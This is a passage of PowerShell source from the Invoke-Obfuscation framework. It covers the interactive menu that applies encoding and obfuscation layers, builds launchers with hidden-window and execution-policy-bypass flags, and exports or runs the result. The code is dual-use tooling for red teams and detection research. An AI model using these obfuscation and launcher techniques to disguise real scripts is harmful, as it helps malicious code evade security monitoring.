-NoNewLine + Write-Host ' UNDO' -NoNewLine -ForegroundColor Yellow + Write-Host " to remove the launcher from ObfuscatedCommand.`n" -NoNewLine + } + Else + { + # Switch block to route to the correct function. + Switch($Function) + { + 'Out-ObfuscatedTokenCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock $Token $ObfLevel + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock "," '$Token' $ObfLevel") + } + 'Out-ObfuscatedTokenCommandAll' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock ","") + } + 'Out-ObfuscatedAst' { + $Script:ObfuscatedCommand = Out-ObfuscatedAst -ScriptBlock $ObfCommandScriptBlock -AstTypesToObfuscate $Token + $CmdToPrint = @("Out-ObfuscatedAst -ScriptBlock ","") + } + 'Out-ObfuscatedStringCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedStringCommand -ScriptBlock $ObfCommandScriptBlock $ObfLevel + $CmdToPrint = @("Out-ObfuscatedStringCommand -ScriptBlock "," $ObfLevel") + } + 'Out-EncodedAsciiCommand' { + $Script:ObfuscatedCommand = Out-EncodedAsciiCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedAsciiCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedHexCommand' { + $Script:ObfuscatedCommand = Out-EncodedHexCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedHexCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedOctalCommand' { + $Script:ObfuscatedCommand = Out-EncodedOctalCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedOctalCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBinaryCommand' { + $Script:ObfuscatedCommand = Out-EncodedBinaryCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBinaryCommand -ScriptBlock "," -PassThru") + } + 'Out-SecureStringCommand' { + $Script:ObfuscatedCommand = Out-SecureStringCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-SecureStringCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBXORCommand' { + $Script:ObfuscatedCommand = Out-EncodedBXORCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBXORCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedSpecialCharOnlyCommand' { + $Script:ObfuscatedCommand = Out-EncodedSpecialCharOnlyCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedSpecialCharOnlyCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedWhitespaceCommand' { + $Script:ObfuscatedCommand = Out-EncodedWhitespaceCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedWhitespaceCommand -ScriptBlock "," -PassThru") + } + 'Out-CompressedCommand' { + $Script:ObfuscatedCommand = Out-CompressedCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-CompressedCommand -ScriptBlock "," -PassThru") + } + 'Out-PowerShellLauncher' { + # Extract numbers from string so we can output proper flag syntax in ExecutionCommands history. + $SwitchesAsStringArray = [char[]]$Token | Sort-Object -Unique | Where-Object {$_ -ne ' '} + + If($SwitchesAsStringArray -Contains '0') + { + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $ObfLevel") + } + Else + { + $HasWindowStyle = $FALSE + $SwitchesToPrint = @() + ForEach($Value in $SwitchesAsStringArray) + { + Switch($Value) + { + 1 {$SwitchesToPrint += '-NoExit'} + 2 {$SwitchesToPrint += '-NonInteractive'} + 3 {$SwitchesToPrint += '-NoLogo'} + 4 {$SwitchesToPrint += '-NoProfile'} + 5 {$SwitchesToPrint += '-Command'} + 6 {If(!$HasWindowStyle) {$SwitchesToPrint += '-WindowStyle Hidden'; $HasWindowStyle = $TRUE}} + 7 {$SwitchesToPrint += '-ExecutionPolicy Bypass'} + 8 {$SwitchesToPrint += '-Wow64'} + default {Write-Error "An invalid `$SwitchesAsString value ($Value) was passed to switch block."; Exit;} + } + } + $SwitchesToPrint = $SwitchesToPrint -Join ' ' + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $SwitchesToPrint $ObfLevel") + } + + $Script:ObfuscatedCommand = Out-PowerShellLauncher -ScriptBlock $ObfCommandScriptBlock -SwitchesAsString $Token $ObfLevel + + # Only set LauncherApplied to true if before/after are different (i.e. no warnings prevented launcher from being applied). + If($ObfuscatedCommandBefore -ne $Script:ObfuscatedCommand) + { + $Script:LauncherApplied = $TRUE + } + } + default {Write-Error "An invalid `$Function value ($Function) was passed to switch block."; Exit;} + } + + If(($Script:ObfuscatedCommand -ceq $ObfuscatedCommandBefore) -AND ($MenuName.StartsWith('_Token_'))) + { + Write-Host "`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " There were not any" -NoNewLine + If($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1).ToLower() -ne 'all') {Write-Host " $($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1))" -NoNewLine -ForegroundColor Yellow} + Write-Host " tokens to further obfuscate, so nothing changed." + } + Else + { + # Add to $Script:ObfuscatedCommandHistory if a change took place for the current ObfuscatedCommand. + $Script:ObfuscatedCommandHistory += , $Script:ObfuscatedCommand + + # Convert UserInput to CLI syntax to store in CliSyntax variable if obfuscation occurred. + $CliSyntaxCurrentCommand = $UserInput.Trim('_ ').Replace('_','\') + + # Add CLI command syntax to $Script:CliSyntax to maintain a history of commands to arrive at current obfuscated command for CLI syntax. + $Script:CliSyntax += $CliSyntaxCurrentCommand + + # Add execution syntax to $Script:ExecutionCommands to maintain a history of commands to arrive at current obfuscated command. + $Script:ExecutionCommands += ($CmdToPrint[0] + '$ScriptBlock' + $CmdToPrint[1]) + + # Output syntax of CLI syntax and full command we executed in above Switch block. + Write-Host "`nExecuted:`t" + Write-Host " CLI: " -NoNewline + Write-Host $CliSyntaxCurrentCommand -ForegroundColor Cyan + Write-Host " FULL: " -NoNewline + Write-Host $CmdToPrint[0] -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + Write-Host $CmdToPrint[1] -ForegroundColor Cyan + + # Output obfuscation result. + Write-Host "`nResult:`t" + Out-ScriptContents $Script:ObfuscatedCommand -PrintWarning + } + } + } + } + Else + { + Return $UserInput + } + } + Else + { + If ($MenuInputOptionsShowHelp[0] -Contains $UserInput) {Show-HelpMenu} + ElseIf($MenuInputOptionsShowOptions[0] -Contains $UserInput) {Show-OptionsMenu} + ElseIf($TutorialInputOptions[0] -Contains $UserInput) {Show-Tutorial} + ElseIf($ClearScreenInputOptions[0] -Contains $UserInput) {Clear-Host} + # For Version 1.0 ASCII art is not necessary. + #ElseIf($ShowAsciiArtInputOptions[0] -Contains $UserInput) {Show-AsciiArt -Random} + ElseIf($ResetObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to reset." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to reset." + } + Else + { + $Script:LauncherApplied = $FALSE + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @($Script:ScriptBlock) + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + + Write-Host "`n`nSuccessfully reset ObfuscatedCommand." -ForegroundColor Cyan + } + } + ElseIf($UndoObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to undo." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to undo." + } + Else + { + # Set ObfuscatedCommand to the last state in ObfuscatedCommandHistory. + $Script:ObfuscatedCommand = $Script:ObfuscatedCommandHistory[$Script:ObfuscatedCommandHistory.Count-2] + + # Remove the last state from ObfuscatedCommandHistory. + $Temp = $Script:ObfuscatedCommandHistory + $Script:ObfuscatedCommandHistory = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ObfuscatedCommandHistory += $Temp[$i] + } + + # Remove last command from CliSyntax. Trim all trailing OUT or CLIP commands until an obfuscation command is removed. + $CliSyntaxCount = $Script:CliSyntax.Count + While(($Script:CliSyntax[$CliSyntaxCount-1] -Match '^(clip|out )') -AND ($CliSyntaxCount -gt 0)) + { + $CliSyntaxCount-- + } + $Temp = $Script:CliSyntax + $Script:CliSyntax = @() + For($i=0; $i -lt $CliSyntaxCount-1; $i++) + { + $Script:CliSyntax += $Temp[$i] + } + + # Remove last command from ExecutionCommands. + $Temp = $Script:ExecutionCommands + $Script:ExecutionCommands = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ExecutionCommands += $Temp[$i] + } + + # If this is removing a launcher then we must change the launcher state so we can continue obfuscating. + If($Script:LauncherApplied) + { + $Script:LauncherApplied = $FALSE + Write-Host "`n`nSuccessfully removed launcher from ObfuscatedCommand." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully removed last obfuscation from ObfuscatedCommand." -ForegroundColor Cyan + } + } + } + ElseIf(($OutputToDiskInputOptions[0] -Contains $UserInput) -OR ($OutputToDiskInputOptions[0] -Contains $UserInput.Trim().Split(' ')[0])) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Get file path information from compound user input (e.g. OUT C:\FILENAME.TXT). + If($UserInput.Trim().Split(' ').Count -gt 1) + { + # Get file path information from user input. + $UserInputOutputFilePath = $UserInput.Trim().SubString(4).Trim() + Write-Host '' + } + Else + { + # Get file path information from user interactively. + $UserInputOutputFilePath = Read-Host "`n`nEnter path for output file (or leave blank for default)" + } + # Decipher if user input a full file path, just a file name or nothing (default). + If($UserInputOutputFilePath.Trim() -eq '') + { + # User did not input anything so use default filename and current directory of this script. + $OutputFilePath = "$ScriptDir\Obfuscated_Command.txt" + } + ElseIf(!($UserInputOutputFilePath.Contains('\')) -AND !($UserInputOutputFilePath.Contains('/'))) + { + # User input is not a file path so treat it as a filename and use current directory of this script. + $OutputFilePath = "$ScriptDir\$($UserInputOutputFilePath.Trim())" + } + Else + { + # User input is a full file path. + $OutputFilePath = $UserInputOutputFilePath + } + + # Write ObfuscatedCommand out to disk. + $Script:ObfuscatedCommand | Out-File $OutputFilePath -Encoding ASCII + + If($Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host ".`nA Launcher has been applied so this script cannot be run as a standalone .ps1 file." -ForegroundColor Cyan + If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath } + } + ElseIf(!$Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host "." -ForegroundColor Cyan + If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath } + } + Else + { + Write-Host "`nERROR: Unable to write ObfuscatedCommand out to" -NoNewLine -ForegroundColor Red + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + } + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to write out to disk.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + } + ElseIf($CopyToClipboardInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Copy ObfuscatedCommand to clipboard. + # Try-Catch block introduced since PowerShell v2.0 without -STA defined will not be able to perform clipboard functionality. + Try + { + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") + [Windows.Forms.Clipboard]::SetText($Script:ObfuscatedCommand) + + If($Script:LauncherApplied) + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard.`nNo Launcher has been applied, so command can only be pasted into powershell.exe." -ForegroundColor Cyan + } + } + Catch + { + $ErrorMessage = "Clipboard functionality will not work in PowerShell version $($PsVersionTable.PsVersion.Major) unless you add -STA (Single-Threaded Apartment) execution flag to powershell.exe." + + If((Get-Command Write-Host).CommandType -ne 'Cmdlet') + { + # Retrieving Write-Host and Start-Sleep Cmdlets to get around the current proxy functions of Write-Host and Start-Sleep that are overloaded if -Quiet flag was used. + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) "`n`nWARNING: " -NoNewLine -ForegroundColor Red + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) $ErrorMessage -NoNewLine + + . ((Get-Command Start-Sleep) | Where-Object {$_.CommandType -eq 'Cmdlet'}) 2 + } + Else + { + Write-Host "`n`nWARNING: " -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage + + If($Script:CliSyntax -gt 0) {Start-Sleep 2} + } + } + + $Script:CliSyntax += 'clip' + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to copy to your clipboard.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." -NoNewLine + } + + } + ElseIf($ExecutionInputOptions[0] -Contains $UserInput) + { + If($Script:LauncherApplied) + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have applied a Launcher.`n Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForeGroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForeGroundColor Yellow + Write-Host " and paste into cmd.exe.`n Or enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForeGroundColor Yellow + Write-Host " to remove the Launcher from ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + If($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) {Write-Host "`n`nInvoking (though you haven't obfuscated anything yet):"} + Else {Write-Host "`n`nInvoking:"} + + Out-ScriptContents $Script:ObfuscatedCommand + Write-Host '' + $null = Invoke-Expression $Script:ObfuscatedCommand + } + Else { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have not set ScriptPath or ScriptBlock.`n Enter" -NoNewline + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " to set ScriptPath or ScriptBlock." + } + } + Else + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " You entered an invalid option. Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host " for more information." + + # If the failed input was part of $Script:CompoundCommand then cancel out the rest of the compound command so it is not further processed. + If($Script:CompoundCommand.Count -gt 0) + { + $Script:CompoundCommand = @() + } + + # Output all available/acceptable options for current menu if invalid input was entered. + If($AcceptableInput.Count -gt 1) + { + $Message = 'Valid options for current menu include:' + } + Else + { + $Message = 'Valid option for current menu includes:' + } + Write-Host " $Message " -NoNewLine + + $Counter=0 + ForEach($AcceptableOption in $AcceptableInput) + { + $Counter++ + + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host $AcceptableOption -NoNewLine -ForegroundColor $ColorToOutput + If(($Counter -lt $AcceptableInput.Length) -AND ($AcceptableOption.Length -gt 0)) + { + Write-Host ', ' -NoNewLine + } + } + Write-Host '' + } + } + } + + Return $UserInput.ToLower() +} + + +Function Show-OptionsMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays options menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-OptionsMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-OptionsMenu displays options menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-OptionsMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Set potentially-updated script-level values in $Script:OptionsMenu before displaying. + $Counter = 0 + ForEach($Line in $Script:OptionsMenu) + { + If($Line[0].ToLower().Trim() -eq 'scriptpath') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptPath} + If($Line[0].ToLower().Trim() -eq 'scriptblock') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptBlock} + If($Line[0].ToLower().Trim() -eq 'commandlinesyntax') {$Script:OptionsMenu[$Counter][1] = $Script:CliSyntax} + If($Line[0].ToLower().Trim() -eq 'executioncommands') {$Script:OptionsMenu[$Counter][1] = $Script:ExecutionCommands} + If($Line[0].ToLower().Trim() -eq 'obfuscatedcommand') + { + # Only add obfuscatedcommand if it is different than scriptblock (to avoid showing obfuscatedcommand before it has been obfuscated). + If($Script:ObfuscatedCommand -cne $Script:ScriptBlock) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + If($Line[0].ToLower().Trim() -eq 'obfuscationlength') + { + # Only set/display ObfuscationLength if there is an obfuscated command. + If(($Script:ObfuscatedCommand.Length -gt 0) -AND ($Script:ObfuscatedCommand -cne $Script:ScriptBlock)) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand.Length} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + + $Counter++ + } + + # Output menu. + Write-Host "`n`nSHOW OPTIONS" -NoNewLine -ForegroundColor Cyan + Write-Host " ::" -NoNewLine + Write-Host " Yellow" -NoNewLine -ForegroundColor Yellow + Write-Host " options can be set by entering" -NoNewLine + Write-Host " SET OPTIONNAME VALUE" -NoNewLine -ForegroundColor Green + Write-Host ".`n" + ForEach($Option in $Script:OptionsMenu) + { + $OptionTitle = $Option[0] + $OptionValue = $Option[1] + $CanSetValue = $Option[2] + + Write-Host $LineSpacing -NoNewLine + + # For options that can be set by user, output as Yellow. + If($CanSetValue) {Write-Host $OptionTitle -NoNewLine -ForegroundColor Yellow} + Else {Write-Host $OptionTitle -NoNewLine} + Write-Host ": " -NoNewLine + + # Handle coloring and multi-value output for ExecutionCommands and ObfuscationLength. + If($OptionTitle -eq 'ObfuscationLength') + { + Write-Host $OptionValue -ForegroundColor Cyan + } + ElseIf($OptionTitle -eq 'ScriptBlock') + { + Out-ScriptContents $OptionValue + } + ElseIf($OptionTitle -eq 'CommandLineSyntax') + { + # CLISyntax output. + $SetSyntax = '' + If(($Script:ScriptPath.Length -gt 0) -AND ($Script:ScriptPath -ne 'N/A')) + { + $SetSyntax = " -ScriptPath '$Script:ScriptPath'" + } + ElseIf(($Script:ScriptBlock.Length -gt 0) -AND ($Script:ScriptPath -eq 'N/A')) + { + $SetSyntax = " -ScriptBlock {$Script:ScriptBlock}" + } + + $CommandSyntax = '' + If($OptionValue.Count -gt 0) + { + $CommandSyntax = " -Command '" + ($OptionValue -Join ',') + "' -Quiet" + } + + If(($SetSyntax -ne '') -OR ($CommandSyntax -ne '')) + { + $CliSyntaxToOutput = "Invoke-Obfuscation" + $SetSyntax + $CommandSyntax + Write-Host $CliSyntaxToOutput -ForegroundColor Cyan + } + Else + { + Write-Host '' + } + } + ElseIf($OptionTitle -eq 'ExecutionCommands') + { + # ExecutionCommands output. + If($OptionValue.Count -gt 0) {Write-Host ''} + $Counter = 0 + ForEach($ExecutionCommand in $OptionValue) + { + $Counter++ + If($ExecutionCommand.Length -eq 0) {Write-Host ''; Continue} + + $ExecutionCommand = $ExecutionCommand.Replace('$ScriptBlock','~').Split('~') + Write-Host " $($ExecutionCommand[0])" -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + + # Handle output formatting when SHOW OPTIONS is run. + If(($OptionValue.Count -gt 0) -AND ($Counter -lt $OptionValue.Count)) + { + Write-Host $ExecutionCommand[1] -ForegroundColor Cyan + } + Else + { + Write-Host $ExecutionCommand[1] -NoNewLine -ForegroundColor Cyan + } + + } + Write-Host '' + } + ElseIf($OptionTitle -eq 'ObfuscatedCommand') + { + Out-ScriptContents $OptionValue + } + Else + { + Write-Host $OptionValue -ForegroundColor Magenta + } + } + +} + + +Function Show-HelpMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays help menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-HelpMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-HelpMenu displays help menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-HelpMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Show Help Menu. + Write-Host "`n`nHELP MENU" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Available" -NoNewLine + Write-Host " options" -NoNewLine -ForegroundColor Yellow + Write-Host " shown below:`n" + ForEach($InputOptionsList in $AllAvailableInputOptionsLists) + { + $InputOptionsCommands = $InputOptionsList[0] + $InputOptionsDescription = $InputOptionsList[1] + + # Add additional coloring to string encapsulated by <> if it exists in $InputOptionsDescription. + If($InputOptionsDescription.Contains('<') -AND $InputOptionsDescription.Contains('>')) + { + $FirstPart = $InputOptionsDescription.SubString(0,$InputOptionsDescription.IndexOf('<')) + $MiddlePart = $InputOptionsDescription.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $InputOptionsDescription.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$LineSpacing $FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + Write-Host $LastPart -NoNewLine + } + Else + { + Write-Host "$LineSpacing $InputOptionsDescription" -NoNewLine + } + + $Counter = 0 + ForEach($Command in $InputOptionsCommands) + { + $Counter++ + Write-Host $Command.ToUpper() -NoNewLine -ForegroundColor Yellow + If($Counter -lt $InputOptionsCommands.Count) {Write-Host ',' -NoNewLine} + } + Write-Host '' + } +} + + +Function Show-Tutorial +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays tutorial information for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Tutorial +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Tutorial displays tutorial information for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-Tutorial + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Write-Host "`n`nTUTORIAL" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Here is a quick tutorial showing you how to get your obfuscation on:" + + Write-Host "`n1) " -NoNewLine -ForegroundColor Cyan + Write-Host "Load a scriptblock (SET SCRIPTBLOCK) or a script path/URL (SET SCRIPTPATH)." + Write-Host " SET SCRIPTBLOCK Write-Host 'This is my test command' -ForegroundColor Green" -ForegroundColor Green + + Write-Host "`n2) " -NoNewLine -ForegroundColor Cyan + Write-Host "Navigate through the obfuscation menus where the options are in" -NoNewLine + Write-Host " YELLOW" -NoNewLine -ForegroundColor Yellow + Write-Host "." + Write-Host " GREEN" -NoNewLine -ForegroundColor Green + Write-Host " options apply obfuscation." + Write-Host " Enter" -NoNewLine + Write-Host " BACK" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CD .." -NoNewLine -ForegroundColor Yellow + Write-Host " to go to previous menu and" -NoNewLine + Write-Host " HOME" -NoNewline -ForegroundColor Yellow + Write-Host "/" -NoNewline + Write-Host "MAIN" -NoNewline -ForegroundColor Yellow + Write-Host " to go to home menu.`n E.g. Enter" -NoNewLine + Write-Host " ENCODING" -NoNewLine -ForegroundColor Yellow + Write-Host " & then" -NoNewLine + Write-Host " 5" -NoNewLine -ForegroundColor Green + Write-Host " to apply SecureString obfuscation." + + Write-Host "`n3) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " TEST" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "EXEC" -NoNewLine -ForegroundColor Yellow + Write-Host " to test the obfuscated command locally.`n Enter" -NoNewLine + Write-Host " SHOW" -NoNewLine -ForegroundColor Yellow + Write-Host " to see the currently obfuscated command." + + Write-Host "`n4) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForegroundColor Yellow + Write-Host " to copy obfuscated command out to your clipboard." + Write-Host " Enter" -NoNewLine + Write-Host " OUT" -NoNewLine -ForegroundColor Yellow + Write-Host " to write obfuscated command out to disk." + + Write-Host "`n5) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " RESET" -NoNewLine -ForegroundColor Yellow + Write-Host " to remove all obfuscation and start over.`n Enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForegroundColor Yellow + Write-Host " to undo last obfuscation.`n Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "?" -NoNewLine -ForegroundColor Yellow + Write-Host " for help menu." + + Write-Host "`nAnd finally the obligatory `"Don't use this for evil, please`"" -NoNewLine -ForegroundColor Cyan + Write-Host " :)" -ForegroundColor Green +} + + +Function Out-ScriptContents +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current obfuscated command for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Out-ScriptContents +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ScriptContents displays current obfuscated command for Invoke-Obfuscation. + +.PARAMETER ScriptContents + +Specifies the string containing your payload. + +.PARAMETER PrintWarning + +Switch to output redacted form of ScriptContents if they exceed 8,190 characters. + +.EXAMPLE + +C:\PS> Out-ScriptContents + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [String] + $ScriptContents, + + [Switch] + $PrintWarning + ) + + If($ScriptContents.Length -gt $CmdMaxLength) + { + # Output ScriptContents, handling if the size of ScriptContents exceeds $CmdMaxLength characters. + $RedactedPrintLength = $CmdMaxLength/5 + + # Handle printing redaction message in middle of screen. #OCD + $CmdLineWidth = (Get-Host).UI.RawUI.BufferSize.Width + $RedactionMessage = "" + $CenteredRedactionMessageStartIndex = (($CmdLineWidth-$RedactionMessage.Length)/2) - "[*] ObfuscatedCommand: ".Length + $CurrentRedactionMessageStartIndex = ($RedactedPrintLength % $CmdLineWidth) + + If($CurrentRedactionMessageStartIndex -gt $CenteredRedactionMessageStartIndex) + { + $RedactedPrintLength = $RedactedPrintLength-($CurrentRedactionMessageStartIndex-$CenteredRedactionMessageStartIndex) + } + Else + { + $RedactedPrintLength = $RedactedPrintLength+($CenteredRedactionMessageStartIndex-$CurrentRedactionMessageStartIndex) + } + + Write-Host $ScriptContents.SubString(0,$RedactedPrintLength) -NoNewLine -ForegroundColor Magenta + Write-Host $RedactionMessage -NoNewLine -ForegroundColor Yellow + Write-Host $ScriptContents.SubString($ScriptContents.Length-$RedactedPrintLength) -ForegroundColor Magenta + } + Else + { + Write-Host $ScriptContents -ForegroundColor Magenta + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + If($ScriptContents.Length -gt $CmdMaxLength) + { + 